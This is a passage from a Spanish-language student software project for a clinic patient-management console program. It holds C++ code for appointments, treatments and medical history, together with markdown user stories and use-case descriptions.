cin.ignore();
cin.get();
}
else{
cout << "PRÓXIMAS CITAS DE " << p.getNombreCompleto() << ": " << endl;
for(Cita &c : citas){
cout << c.getFecha() << " a las " << c.getHora() << endl
<< "Duración: " << c.getDuracion() << " minutos" << endl;
}
}
cin.ignore();
cin.get();
}
void case_submenu_eliminarCita(Paciente p){
GestorFichero f;
list <Cita> citas = f.getProximasCitasPaciente(p.getDNI());
if (citas.size() != 0){
cout << "PRÓXIMAS CITAS DE " << p.getNombreCompleto() << ": " << endl;
for(Cita &c : citas){
cout << c.getFecha() << " a las " << c.getHora() << endl
<< "Duración: " << c.getDuracion() << " minutos" << endl;
}
cout << "Introduzca fecha de la cita a eliminar:" << endl;
string fecha;
cin >> fecha;
cout << "Introduzca hora:" << endl;
string hora;
cin >> hora;
if (f.buscarCita(fecha, hora, p.getDNI())){
string confirmar;
cout << "¿Seguro que desea eliminar la cita de " << p.getNombreCompleto() << " el día " << fecha << " a las " << hora << "? [S|N]:" << endl;
cin >> confirmar;
while(confirmar != "S" && confirmar != "s" && confirmar != "N" && confirmar != "n"){
cout << "Por favor, introduca S o N" << endl;
cin >> confirmar;
}
if (confirmar == "S" || confirmar == "s"){
f.eliminarCita(p.getDNI(), fecha, hora);
cout << "Cita eliminada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
else if (confirmar == "N" || confirmar == "n"){
cout << "Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
}
else{
cout << "La cita indicada no existe." << endl;
}
cout << "Cita eliminada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
else{
cout << "No hay citas. Pulse ENTER para continuar" << endl;
cin.ignore();
cin.get();
}
}
void case_submenu_modificarCita(Paciente p){
GestorFichero f;
list <Cita> citas = f.getProximasCitasPaciente(p.getDNI());
if (citas.size() != 0){
cout << "PRÓXIMAS CITAS DE " << p.getNombreCompleto() << ": " << endl;
for(Cita &c : citas){
cout << c.getFecha() << " a las " << c.getHora() << endl
<< "Duración: " << c.getDuracion() << " minutos" << endl;
}
cout << endl << "Va a modificar una cita" << endl;
cout << "Introduzca fecha de la cita que quiere modificar:" << endl;
string fecha_a;
cin >> fecha_a;
cout << "Introduzca hora:" << endl;
string hora_a;
cin >> hora_a;
if (f.buscarCita(fecha_a, hora_a, p.getDNI())){
cout << "Introduzca fecha nueva:" << endl;
string fecha_n;
cin >> fecha_n;
if(!validarFecha(fecha_n)){
cout << "Fecha no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduzca hora nueva:" << endl;
string hora_n;
cin >> hora_n;
if(!validarHora(hora_n)){
cout << "Hora no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduzca duración nueva: " << endl;
string duracion_n;
cin >> duracion_n;
if(!validarDuracion(duracion_n)){
cout << "Duración no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
Cita citaNueva(fecha_n, hora_n, atoi(duracion_n.c_str()));
list<Cita> citas = f.getTodasCitas();
for (Cita &cita : citas) {
if (validarCita(citaNueva, cita)) {
cout << "Ya hay una cita a esa hora. Pulse ENTER para continuar...";
cin.ignore();
cin.get();
return;
}
}
f.modificarCitaPaciente(p.getDNI(), fecha_a, hora_a, citaNueva);
cout << "Cita modificada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
else{
cout << "La cita indicada no existe. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
}
else{
cout << "No hay citas. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
}
void case_submenu_anadirHistorialMedico(Paciente p){
cout << "Introduzca la fecha:" << endl;
string fecha;
cin >> fecha;
if (!validarFecha(fecha)){
cout << "Fecha no válida. Pulse ENTER para continuar...";
cin.ignore();
cin.get();
return;
}
cout << "Introduzca observaciones:" << endl;
string observaciones;
cin.ignore();
getline(cin, observaciones);
ElementoHistorial h(fecha, observaciones);
GestorFichero f;
f.anadirHistorialPaciente(p.getDNI(), h);
cout << "Historial añadido. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
void case_submenu_anadirTratamiento(Paciente p){
GestorFichero f;
string medicamento, fecha_inicio, fecha_fin, observaciones;
cout << "Introduce nombre del medicamento/tratamiento:" << endl;
getline(cin, medicamento);
if (f.buscarTratamiento(p.getDNI(), medicamento)){
cout << "Este tratamiento para este paciente ya existe. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduce fecha de inicio (DD/MM/AAAA):" << endl;
cin >> fecha_inicio;
if (!validarFecha(fecha_inicio)){
cout << "Fecha no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduce fecha de fin (DD/MM/AAAA):" << endl;
cin >> fecha_fin;
if (!validarFecha(fecha_fin)){
cout << "Fecha no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduce alguna descripción u observaciones:" << endl;
cin.ignore();
getline(cin, observaciones);
Tratamiento t(medicamento, fecha_inicio, fecha_fin, observaciones);
f.anadirTratamientoPaciente(p.getDNI(), t);
cout << "Tratamiento añadido. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
void case_submenu_eliminarTratamiento(Paciente p){
GestorFichero f;
list <Tratamiento> tratamientos = f.getTratamientosPaciente(p.getDNI());
if (tratamientos.size() == 0){
cout << "No hay tratamientos. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
cin.clear();
return;
}
cout << "Lista de tratamientos: " << endl;
for(Tratamiento &t : tratamientos){
cout << endl << "Medicamento/Tratamiento: " << t.getMedicamento() << endl;
}
string medicamento;
cout << "Introduzca el nombre del tratamiento que desea eliminar:" << endl;
getline(cin, medicamento);
if (f.buscarTratamiento(p.getDNI(), medicamento)){
string confirmar;
cout << "¿Seguro que desea eliminar el tratamiento " << medicamento << " de " << p.getNombreCompleto() << "? [S|N]:" << endl;
cin >> confirmar;
while(confirmar != "S" && confirmar != "s" && confirmar != "N" && confirmar != "n"){
cout << "Por favor, introduca S o N" << endl;
cin >> confirmar;
}
if (confirmar == "S" || confirmar == "s"){
f.eliminarTratamiento(p.getDNI(), medicamento);
cout << "Tratamiento eliminado. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
else if (confirmar == "N" || confirmar == "n"){
cout << "Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
}
else{
cout << "El tratamiento indicado no existe. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
}
void case_submenu_mostrarTratamientos(Paciente p){
GestorFichero f;
list <Tratamiento> tratamientos = f.getTratamientosPaciente(p.getDNI());
if (tratamientos.size() == 0){
cout << "No hay tratamientos. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
cin.clear();
return;
}
cout << "Lista de tratamientos: " << endl;
for(Tratamiento &t : tratamientos){
cout << endl << "Medicamento/Tratamiento: " << t.getMedicamento() << endl
<< "Fecha inicio: " << t.getFechaComienzo() << endl
<< "Fecha fin: " << t.getFechaFin() << endl
<< "Observaciones: " << t.getObservaciones() << endl << endl;
}
cout << "Pulse ENTER para continuar" << endl;
cin.ignore();
cin.get();
}
void case_submenu_modificarTratamiento(Paciente p){
GestorFichero f;
list <Tratamiento> tratamientos = f.getTratamientosPaciente(p.getDNI());
if (tratamientos.size() == 0){
cout << "No hay tratamientos. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Lista de tratamientos: " << endl;
for(Tratamiento &t : tratamientos){
cout << endl << "Medicamento/Tratamiento: " << t.getMedicamento() << endl;
}
cout << "Escriba el nombre del tratamiento que desea modificar:" << endl;
string medicamento;
getline(cin, medicamento);
if (f.buscarTratamiento(p.getDNI(), medicamento)){
string medicamento_modificado, fecha_i, fecha_f, observaciones;
cout << "Introduzca nuevo nombre (si no desea cambiarlo introduzca el mismo):" << endl;
getline(cin, medicamento_modificado);
cout << "Introduzca fecha inicio (FORMATO DD/MM/AAAA):" << endl;
cin >> fecha_i;
if (!validarFecha(fecha_i)){
cout << "Fecha no válida. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduzca fecha de fin (FORMATO DD/MM/AAAA):" << endl;
cin >> fecha_f;
if (!validarFecha(fecha_f)){
cout << "Fecha no válida. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduzca observaciones o una breve descripcion:" << endl;
cin >> observaciones;
Tratamiento t(medicamento_modificado, fecha_i, fecha_f, observaciones);
f.modificarTratamiento(p.getDNI(), medicamento, t);
cout << "Tratamiento modificado. Pulse ENTER para continuar..." << endl;
}
else{
cout << "El tratamiento indicado no existe. Pulse una tecla para continuar..." << endl;
cin.ignore();
cin.get();
}
}
// Obtiene la hora sin los minutos
int strGetHora (const string &str) {
string hora = str.substr(0, 2);
return atoi(hora.c_str());
}
// Obtiene los minutos de la hora
int strGetMinutos (const string &str) {
string minuto = str.substr(3, 2);
return atoi(minuto.c_str());
}
bool validarFecha (const string &str) {
if (str.size() == 10) {
//Comprueba el formato
for (int i = 0; i < 10; i++) {
if (i == 2 || i == 5) {
if (str[i] != '/') {
return false;
}
}
else {
if (!isdigit(str[i])) {
return false;
}
}
}
//Comprueba el mes
int m = atoi(str.substr(3, 2).c_str());
if (m < 1 || m > 12) {
return false;
}
//Comprueba el dia en funcion del mes
int d = atoi(str.substr(0, 2).c_str());
if (d < 1) { return false; }
switch (m) {
case 1: return d <= 31;
case 2: return d <= 28;
case 3: return d <= 31;
case 4: return d <= 30;
case 5: return d <= 31;
case 6: return d <= 30;
case 7: return d <= 31;
case 8: return d <= 31;
case 9: return d <= 30;
case 10: return d <= 31;
case 11: return d <= 30;
case 12: return d <= 31;
}
}
else {
return false;
}
return true;
}
//Comprueba que la hora este en el formato HH:MM y sea valida
bool validarHora (const string &str) {
if (str.size() == 5) {
//Comprueba el formato
for (int i = 0; i < 5; i++) {
if (i == 2) {
if (str[i] != ':') {
return false;
}
}
else {
if (!isdigit(str[i])) {
return false;
}
}
}
//Comprueba que la hora sea valida
int h = strGetHora(str);
if (h < 0 || h > 23) {
return false;
}
//Comprueba que los minutos sean validos
int m = strGetMinutos(str);
if (m < 0 || m > 59) {
return false;
}
}
else {
return false;
}
return true;
}
bool validarDuracion(const string &duracion){
for (int i = 0; i < duracion.size(); i++){
// Comprobar que ningun caracter es letra
if (!isdigit(duracion[i])){
return false;
}
}
// Comprobar que no sea negativo ni cero
if (atoi(duracion.c_str()) <= 0){
return false;
}
else{
return true;
}
}
// Verifica si dos citas coinciden
bool validarCita (const Cita &c1, const Cita &c2) {
bool coincide = true;
if (c1.getFecha() == c2.getFecha()) {
int hc1 = strGetHora(c1.getHora());
int mc1 = strGetMinutos(c1.getHora());
int hf1 = hc1;
int mf1 = mc1 + c1.getDuracion();
hf1 += mf1 / 60;
mf1 %= 60;
int hc2 = strGetHora(c2.getHora());
int mc2 = strGetMinutos(c2.getHora());
int hf2 = hc2;
int mf2 = mc2 + c2.getDuracion();
hf2 += mf2 / 60;
mf2 %= 60;
if (hf1 < hc2) {
coincide = false;
}
else if (hf1 == hc2) {
if (mf1 <= mc2) {
coincide = false;
}
}
if (hc1 > hf2) {
coincide = false;
}
else if (hc1 == hf2) {
if (mc1 >= mf2) {
coincide = false;
}
}
}
else {
coincide = false;
}
return coincide;
}<file_sep>/historias_de_usuario/14_anadir_historial_paciente.md
**ID**: 14
**Nombre**: Añadir historial a un paciente
**Prioridad** (de 1 a 10): 5
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *añadir información al historial de un paciente* para *diagnosticar posibles enfermedades*.
#### Validación
* Se debe mostrar un mensaje si no existe el paciente.<file_sep>/casos_de_uso/11_anadir_tratamiento_paciente.md
## Añadir tratamiento a un paciente
**ID**: 11
**Descripción**: Una vez seleccionado el paciente, se añade un tratamiento.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea modificar el tratamiento de un paciente.
1. Se le pedirá al secretario el DNI del paciente y se buscará.
1. El secretario selecciona la opción de añadir un tratamiento.
1. El secretario introduce el nuevo tratamiento.
1. El sistema guarda el nuevo tratamiento.
**Postcondiciones**:
* Se muestra al secretario si desea hacer alguna operación más con el nuevo paciente.
**Flujos alternativos**:
* 2.a. Si el paciente no existe, se muestra un mensaje de error.<file_sep>/casos_de_uso/04_buscar_paciente.md
## Buscar a un paciente por DNI
**ID**: 04
**Descripción**: El secretario introduce el DNI del paciente y el sistema muestra los datos del mismo
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario quiere consultar los datos de algún paciente en concreto
1. El secretario comienza seleccionando la opción del menú principal que corresponde a "Buscar paciente".
1. El secretario introduce el DNI del paciente.
1. El sistema muestra por pantalla los datos del paciente correspondiente y un submenú.
**Postcondiciones**:
* Se muestra al secretario una lista de opciones sobre el paciente.
**Flujos alternativos**:
* 3.a. Si no hay ningún paciente, se muestra un mensaje que lo indique.
* 4.a. Si no existe el paciente, se muestra en la pantalla un mensaje de error.<file_sep>/codigo/elementoHistorial.h
#ifndef ELEMENTOHISTORIAL_H
#define ELEMENTOHISTORIAL_H
#include <string>
using namespace std;
class ElementoHistorial{
private:
string fecha_;
string observaciones_;
public:
ElementoHistorial(string fecha, string observaciones){
fecha_ = fecha;
observaciones_ = observaciones;
}
inline string getFecha(){
return fecha_;
}
inline string getObservaciones(){
return observaciones_;
}
inline void setFecha(string fecha){
fecha_ = fecha;
}
inline void setObservaciones(string observaciones){
observaciones_ = observaciones;
}
};
#endif<file_sep>/historias_de_usuario/11_anadir_tratamiento_paciente.md
**ID**: 11
**Nombre**: <NAME> a un paciente
**Prioridad** (de 1 a 10): 7
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *añadir tratamientos a mis pacientes* para *gestionarlos adecuadamente*.
#### Validación
* Se debe mostrar un mensaje de error si el paciente no existe.<file_sep>/casos_de_uso/01_anadir_nuevo_paciente.md
## Añadir nuevo paciente
**ID**: 01
**Descripción**: Se introducen los datos del nuevo paciente y el sistema los guarda.
**Actores principales**: Secretario
**Actores secundarios**: Paciente
**Precondiciones**:
* Ninguna
**Flujo principal**:
1. El secretario desea introducir los datos correspondientes a un nuevo paciente.
1. El secretario comienza seleccionando la opción del menú principal que corresponde a "Añadir paciente".
1. El secretario introduce los datos correspondientes al nuevo paciente.
**Postcondiciones**:
* Ninguna
**Flujos alternativos**:
* 4.a. Si el paciente que desea añadir ya está en la lista, el sistema indicará que dicho paciente ya ha sido agregado con anterioridad.<file_sep>/casos_de_uso/16_eliminar_tratamiento_paciente.md
## Eliminar tratamiento a un paciente
**ID**: 16
**Descripción**: Se elimina el tratamiento de un paciente
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema
**Flujo principal**:
1. El secretario desea eliminar un tratamiento a un paciente.
1. El secretario busca al paciente.
1. El secretario selecciona la opción de eliminar tratamiento.
1. El secretario introduce el nombre del tratamiento.
1. El sistema elimina el tratamiento.
**Postcondiciones**:
* Ninguna
**Flujos alternativos**:
3.a. Si no existe el paciente, se indicará
5.a. Si no existe el tratamiento, se indicará
<file_sep>/historias_de_usuario/08_mostrar_citas_paciente.md
**ID**: 08
**Nombre**: Mostrar citas de un paciente
**Prioridad** (de 1 a 10): 5
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *ver las citas de mis pacientes* para *evaluar los tratamientos posteriores*.
#### Validación
* Se debe mostrar un mensaje si el historial de citas está vacío.
* Se debe mostrar un mensaje de error si el paciente no existe.
<file_sep>/codigo/tratamiento.h
#ifndef TRATAMIENTO_H
#define TRATAMIENTO_H
#include <string>
using namespace std;
class Tratamiento{
private:
string medicamento_;
string fechaComienzo_;
string fechaFin_;
string observaciones_;
public:
Tratamiento(string medicamento, string fechaComienzo, string fechaFin, string observaciones);
inline string getMedicamento(){
return medicamento_;
}
inline string getFechaComienzo(){
return fechaComienzo_;
}
inline string getFechaFin(){
return fechaFin_;
}
inline string getObservaciones(){
return observaciones_;
}
inline void setMedicamento(string medicamento){
medicamento_ = medicamento;
}
inline void setFechaComienzo(string fecha){
fechaComienzo_ = fecha;
}
inline void setFechaFin(string fecha){
fechaFin_ = fecha;
}
inline void setObservaciones(string observaciones){
observaciones_ = observaciones;
}
};
#endif<file_sep>/historias_de_usuario/10_eliminar_cita_paciente.md
**ID**: 10
**Nombre**: Eliminar cita de un paciente
**Prioridad** (de 1 a 10): 6
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *cancelar citas a mis pacientes* para *llevar un control de horarios*.
#### Validación
* Se debe mostrar un mensaje de error si el paciente no existe.
* Se debe mostrar un mensaje de error si el paciente no tiene ninguna cita próxima.<file_sep>/historias_de_usuario/06_modificar_tratamiento_paciente.md
**ID**: 06
**Nombre**: Modificar un tratamiento a un paciente
**Prioridad** (de 1 a 10): 5
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *modificar el tratamiento de mis pacientes*.
#### Validación
* Se debe mostrar un mensaje si no tiene tratamientos.
* Se debe mostrar un mensaje de error si el paciente no existe.
<file_sep>/codigo/paciente.cpp
#include "paciente.h"
#include "gestorFichero.h"
#include "cita.h"
using namespace std;
Paciente::Paciente(string dni, string nombreCompleto, string fechaNacimiento, int telefono, string sexo, string direccion){
dni_ = dni;
nombreCompleto_ = nombreCompleto;
fechaNacimiento_ = fechaNacimiento;
telefono_ = telefono;
sexo_ = sexo;
direccion_ = direccion;
}<file_sep>/casos_de_uso/05_mostrar_historial_paciente.md
## Mostrar historial de un paciente
**ID**: 05
**Descripción**: Una vez encontrado un paciente, se selecciona la opción "Mostrar historial", y el sistema lo muestra.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea consultar el historial de medicación de un paciente.
1. El secretario selecciona la opción de buscar paciente.
1. Se le pedirá al secretario el DNI del paciente y se buscará.
1. Una vez encontrado, el secretario selecciona la opción para mostrar el historial de medicación.
1. El sistema muestra por pantalla el historial de medicación del paciente seleccionado.
**Postcondiciones**:
* Se muestra al secretario si desea hacer alguna operación más con el paciente.
**Flujos alternativos**:
* 3.a. Si el paciente no existe, se muestra un mensaje de error.
* 5.a. Si no tiene historial se mostrará un mensaje indicándolo.
<file_sep>/historias_de_usuario/15_mostrar_tratamientos_paciente.md
**ID**: 15
**Nombre**: Mostrar tratamientos de un paciente
**Prioridad** (de 1 a 10): 5
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *ver todos los tratamientos de un paciente* para *diagnosticar posibles enfermedades*.
#### Validación
* Se debe mostrar un mensaje si no existe el paciente.<file_sep>/historias_de_usuario/02_eliminar_paciente.md
**ID**: 02
**Nombre**: <NAME> un paciente
**Prioridad** (de 1 a 10): 7
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *eliminar los datos de un paciente* para *eliminar aquellos pacientes introducidos erróneamente*.
#### Validación
* Se debe borrar todo el historial del paciente.
* Se debe mostrar un mensaje de confirmación si se ha eliminado correctamente.
* Se debe mostrar un mensaje de error si el paciente no existe.<file_sep>/codigo/gestorFichero.h
#ifndef GESTORFICHERO_H
#define GESTORFICHERO_H
#include <string>
#include <list>
#include "cita.h"
#include "paciente.h"
using namespace std;
class GestorFichero{
private:
string nombreFichero_;
public:
GestorFichero(string nombreFichero = "pacientes.txt");
inline string getNombreFichero(){
return nombreFichero_;
}
inline void setNombreFichero(string nombreFichero){
nombreFichero_ = nombreFichero;
}
list <Paciente> getTodosPacientes();
list <Cita> getCitasHoy();
void anadirPaciente(Paciente p);
void modificarPaciente(Paciente p_nuevo, string DNI);
Paciente getPacienteFromDNI(string DNI);
void anadirCitaPaciente(string DNI, Cita c);
void anadirTratamientoPaciente(string DNI, Tratamiento t);
list <Tratamiento> getTratamientosPaciente(string DNI);
list <ElementoHistorial> getHistorialPaciente(string DNI);
bool buscarPaciente(string nombreCompleto);
void modificarCitaPaciente(string DNI, string fecha_antigua, string hora_antigua, Cita citaNueva);
bool buscarCita(string fecha, string hora);
bool buscarCita(string fecha, string hora, string DNI);
list <Cita> getCitasPaciente(string DNI);
bool eliminarPaciente(string DNI);
bool eliminarCita(string DNI, string fecha, string hora);
void anadirHistorialPaciente(string DNI, ElementoHistorial h);
list <Cita> getTodasCitas();
list <Cita> getProximasCitasPaciente(string DNI);
void eliminarTratamiento(string DNI, string medicamento);
void modificarTratamiento(string DNI, string medicamento, Tratamiento nuevo);
bool buscarTratamiento(string DNI, string medicamento);
};
#endif
<file_sep>/codigo/cita.h
#ifndef CITA_H
#define CITA_H
#include <string>
using std::string;
class Cita{
private:
string fecha_;
string hora_;
int duracion_;
public:
Cita(string fecha, string hora, int duracion){
fecha_ = fecha;
hora_ = hora;
duracion_ = duracion;
}
inline string getFecha() const{
return fecha_;
}
inline string getHora() const{
return hora_;
}
inline int getDuracion() const{
return duracion_;
}
inline void setFecha(string fecha){
fecha_ = fecha;
}
inline void setHora(string hora){
hora_ = hora;
}
inline void setDuracion(int duracion){
duracion_ = duracion;
}
};
#endif<file_sep>/historias_de_usuario/03_mostrar_lista_pacientes.md
**ID**: 03
**Nombre**: Mostrar una lista de todos los pacientes
**Prioridad** (de 1 a 10): 4
**Puntos estimado**: 2
**Iteración**: 1
#### Descripción
Como *secretario* quiero *ver a todos los pacientes* para *consultar la información de manera cómoda*.
#### Validación
* Se debe mostrar un mensaje si no hay ningún paciente.<file_sep>/casos_de_uso/07_modificar_datos_paciente.md
## Modificar datos de un paciente
**ID**: 07
**Descripción**: Una vez seleccionado el usuario que se desea modificar, el sistema pregunta qué campo desea ser modificado.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea modificar los campos pertenecientes al paciente.
1. El secretario selecciona la opción modificar paciente dentro del menú principal.
1. El secretario realiza la búsqueda del paciente mediante DNI.
1. El sistema muestra los campos de ese paciente y pregunta por cuál desea ser modificado.
1. El secretario modifica el campo deseado.
1. El sistema almacena la nueva información.
**Postcondiciones**:
* Se muestra al secretario si desea hacer alguna operación más con el paciente.
**Flujos alternativos**:
* 4.a. Si no existe el paciente buscado, se imprime un mensaje especificando dicho error.<file_sep>/codigo/funciones.h
#ifndef FUNCIONES_H
#define FUNCIONES_H
#include "paciente.h"
#include <string>
using namespace std;
bool validarFecha(const string &str);
bool validarHora(const string &str);
bool validarDuracion(const string &str);
int strGetHora(const string &str);
int strGetMinutos(const string &str);
void convertirDNIMayuscula(string &dni);
bool validarDNI(string DNI);
bool validarTelefono(string telefono);
void mostrar_menu();
void mostrar_menu_paciente(Paciente p);
void mostrar_menu_modificar();
void case_anadirPaciente(); // CASO DE USO 1
void case_eliminarPaciente(); // CASO DE USO 2
void case_modificarPaciente(); // CASO DE USO 7
void case_anadirCita(); // CASO DE USO 9
void case_citasHoy(); // CASO DE USO 13
void case_buscarPaciente(); // CASO DE USO 4
void case_mostrarListaPacientes(); // CASO DE USO 3
void case_submenu_mostrarHistorial(Paciente p); // CASO DE USO 5
void case_submenu_mostrarCitas(Paciente p); // CASO DE USO 8
void case_submenu_eliminarCita(Paciente p); // CASO DE USO 10
void case_submenu_modificarCita(Paciente p); // CASO DE USO 12
void case_submenu_anadirHistorialMedico(Paciente p); // CASO DE USO 14
void case_submenu_anadirTratamiento(Paciente p); // CASO DE USO 11
void case_submenu_eliminarTratamiento(Paciente p); // CASO DE USO 16
void case_submenu_mostrarTratamientos(Paciente p); // CASO DE USO 15
void case_submenu_modificarTratamiento(Paciente p); // CASO DE USO 6
bool validarCita(const Cita &c1, const Cita &c2);
#endif<file_sep>/historias_de_usuario/04_buscar_paciente.md
**ID**: 04
**Nombre**: Buscar a un paciente por DNI
**Prioridad** (de 1 a 10): 6
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *buscar a un paciente* para *consultar información relevante*.
#### Validación
* Se debe mostrar un mensaje de error si no hay ningún paciente.
* Se debe mostrar un mensaje de error si el paciente no existe.
* Al encontrar al paciente, se deben mostrar una lista de opciones (añadir, modificar o eliminar tratamiento, modificar datos, mostrar citas).<file_sep>/casos_de_uso/02_eliminar_paciente.md
## Eliminar a un paciente
**ID**: 02
**Descripción**: Se introduce el DNI del paciente a eliminar y el sistema lo elimina.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema
**Flujo principal**:
1. El secretario desea eliminar a un paciente de la lista.
1. El secretario comienza seleccionando la opción del menú principal que corresponde a "Eliminar paciente".
1. El secretario introduce el DNI del paciente.
1. El sistema elimina al paciente de la lista.
**Postcondiciones**:
* Ninguna
**Flujos alternativos**:
* 4.a. Si el paciente no existe, se muestra un mensaje de error.
* 4.b. Si el paciente existe en el sistema pero no ha podido ser eliminado por alguna otra causa, se muestra un mensaje de error.<file_sep>/codigo/tratamiento.cpp
#include "tratamiento.h"
Tratamiento::Tratamiento(string medicamento, string fechaComienzo, string fechaFin, string observaciones){
medicamento_ = medicamento;
fechaComienzo_ = fechaComienzo;
fechaFin_ = fechaFin;
observaciones_ = observaciones;
}<file_sep>/casos_de_uso/15_mostrar_tratamientos_paciente.md
## Mostrar tratamientos de un paciente
**ID**: 15
**Descripción**: Se muestran todos los tratamientos de un paciente.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema
**Flujo principal**:
1. El secretario desea ver los tratamientos de un paciente.
1. El secretario busca al paciente.
1. El secretario selecciona la opción de mostrar tratamientos.
1. El sistema muestra los tratamientos de ese paciente.
**Postcondiciones**:
* Ninguna
**Flujos alternativos**:
3.a. Si no existe el paciente, se indicará.
4.a. Si no hay tratamientos, se indicará.
<file_sep>/casos_de_uso/03_mostrar_lista_pacientes.md
## Mostrar una lista de todos los pacientes
**ID**: 03
**Descripción**: Se selecciona la opción de “Mostrar la lista de los pacientes” y el sistema imprime por pantalla los datos de los mismos.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea visualizar la lista de todos los pacientes del sistema.
1. El secretario comienza seleccionando la opción del menú principal que corresponde a "Ver todos los pacientes".
1. El sistema imprime por pantalla la lista con todos los pacientes y sus datos principales.
**Postcondiciones**:
* Ninguna
**Flujos alternativos**:
* 3.a. Si no hay ningún paciente en la lista, el sistema imprimirá por pantalla un mensaje en el que indique que dicha lista está vacía.
* 3.b. Si ocurre algún error al leer la lista de los pacientes, se mostrará un mensaje de error.<file_sep>/diagrama_clases/diagrama_clases.md
## Diagrama de clases

<file_sep>/casos_de_uso/08_mostrar_citas_paciente.md
## Mostrar citas de un paciente
**ID**: 08
**Descripción**: Una vez seleccionado el paciente, el sistema muestra por pantalla sus próximas citas.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea ver las citas previas del paciente hasta la fecha.
1. Se le pedirá al secretario el nombre y apellidos del paciente y se buscará.
1. El secretario selecciona la opción en el menú principal para ver las citas.
1. El sistema muestra por pantalla las próximas citas médicas.
**Postcondiciones**:
* Se muestra al secretario si desea hacer alguna operación más con el nuevo paciente.
**Flujos alternativos**:
* 2.a. Si no existe el paciente, se muestra un mensaje de error.
* 4.a. Si el paciente no tiene citas en el historial, se mostrará un mensaje que lo indique.<file_sep>/historias_de_usuario/07_modificar_datos_paciente.md
**ID**: 07
**Nombre**: Modificar datos de un paciente
**Prioridad** (de 1 a 10): 5
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *modificar los datos de mis pacientes* para *corregir posibles errores*.
#### Validación
* Se debe mostrar un mensaje de error si el paciente no existe.<file_sep>/casos_de_uso/12_modificar_cita_paciente.md
## Modificar cita de un paciente
**ID**: 12
**Descripción**: Se modifica la última cita asignada.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea modificar la cita de un paciente.
1. El secretario introduce el DNI del paciente.
1. El secretario selecciona la opción de "Modificar cita".
1. El secretario introduce la fecha y la hora de la nueva cita.
1. El sistema modifica los datos del historial de citas.
**Postcondiciones**:
* Se muestra al secretario si desea hacer alguna operación más con el paciente.
**Flujos alternativos**:
3.a. Si el paciente no existe, se muestra un mensaje de error.
5.a. Si la cita que desea añadir coincide con otra en dicho horario, no podrá almacenarse dicha cita y además se mostrará un mensaje indicando que en ese horario ya hay una cita establecida.<file_sep>/codigo/paciente.h
#ifndef PACIENTE_H
#define PACIENTE_H
#include <string>
#include "elementoHistorial.h"
#include "tratamiento.h"
#include "cita.h"
using std::string;
class Paciente{
private:
string dni_;
string nombreCompleto_;
string fechaNacimiento_;
int telefono_;
string sexo_;
string direccion_;
public:
Paciente(string dni, string nombreCompleto, string fechaNacimiento, int telefono, string sexo, string direccion);
inline string getNombreCompleto() const{
return nombreCompleto_;
}
inline string getFechaNacimiento() const{
return fechaNacimiento_;
}
inline string getSexo() const{
return sexo_;
}
inline int getTelefono() const{
return telefono_;
}
inline string getDNI() const{
return dni_;
}
inline string getDireccion() const{
return direccion_;
}
inline void setNombreCompleto(string nombreCompleto){
nombreCompleto_ = nombreCompleto;
}
inline void setFechaNacimiento(string fechaNacimiento){
fechaNacimiento_ = fechaNacimiento;
}
inline void setSexo(string sexo){
sexo_ = sexo;
}
inline void setTelefono(int telefono){
telefono_ = telefono;
}
inline void setDNI(string dni){
